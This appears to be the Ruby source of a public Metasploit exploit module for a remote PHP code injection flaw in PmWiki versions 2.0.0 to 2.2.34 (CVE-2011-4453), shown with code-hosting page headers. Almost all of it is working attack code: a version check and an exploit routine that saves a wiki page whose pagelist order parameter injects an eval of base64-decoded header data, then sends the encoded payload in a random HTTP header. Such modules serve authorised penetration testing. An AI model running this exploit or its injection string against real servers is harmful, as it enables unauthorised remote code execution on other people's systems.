101 lines
2.7 KiB
Ruby
101 lines
2.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'PmWiki pagelist.php Remote PHP Code Injection Exploit',
|
|
'Description' => %q{
|
|
This module exploits an arbitrary command execution vulnerability
|
|
in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is
|
|
inside /scripts/pagelist.php.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'EgiX', # Vulnerability discovery and exploit
|
|
'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit Module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2011-4453'],
|
|
['BID', '50776'],
|
|
['OSVDB', '77261'],
|
|
['EDB', '18149'],
|
|
['URL', 'http://www.pmwiki.org/wiki/PITS/01271']
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'Keys' => ['php'],
|
|
'Space' => 4000,
|
|
'DisableNops' => true,
|
|
},
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [['Automatic',{}]],
|
|
'DisclosureDate' => 'Nov 09 2011',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('URI',[true, "The path to the pmwiki installation", "/"]),
|
|
])
|
|
end
|
|
|
|
def check
|
|
uri = normalize_uri(datastore['URI'])
|
|
uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version'
|
|
|
|
res = send_request_raw(
|
|
{
|
|
'uri' => uri
|
|
}, 25)
|
|
|
|
if (res and res.body =~ /pmwiki-2.[0.00-2.34]/)
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
p = Rex::Text.encode_base64(payload.encoded)
|
|
header = rand_text_alpha_upper(3)
|
|
header_append = rand_text_alpha_upper(4)
|
|
|
|
uri = normalize_uri(datastore['URI'], "pmwiki.php")
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => uri,
|
|
'vars_post' =>
|
|
{
|
|
'action' => 'edit',
|
|
'post' => 'save',
|
|
'n' => "#{header}.#{header_append}",
|
|
'text' => "(:pagelist order=']);error_reporting(0);eval(base64_decode($_SERVER[HTTP_#{header}]));die;#:)",
|
|
}
|
|
}, 25)
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => uri,
|
|
'headers' =>
|
|
{
|
|
header => p,
|
|
'Connection' => 'Close',
|
|
},
|
|
'vars_post' =>
|
|
{
|
|
'n' => "#{header}.#{header_append}",
|
|
}
|
|
}, 25)
|
|
end
|
|
end
|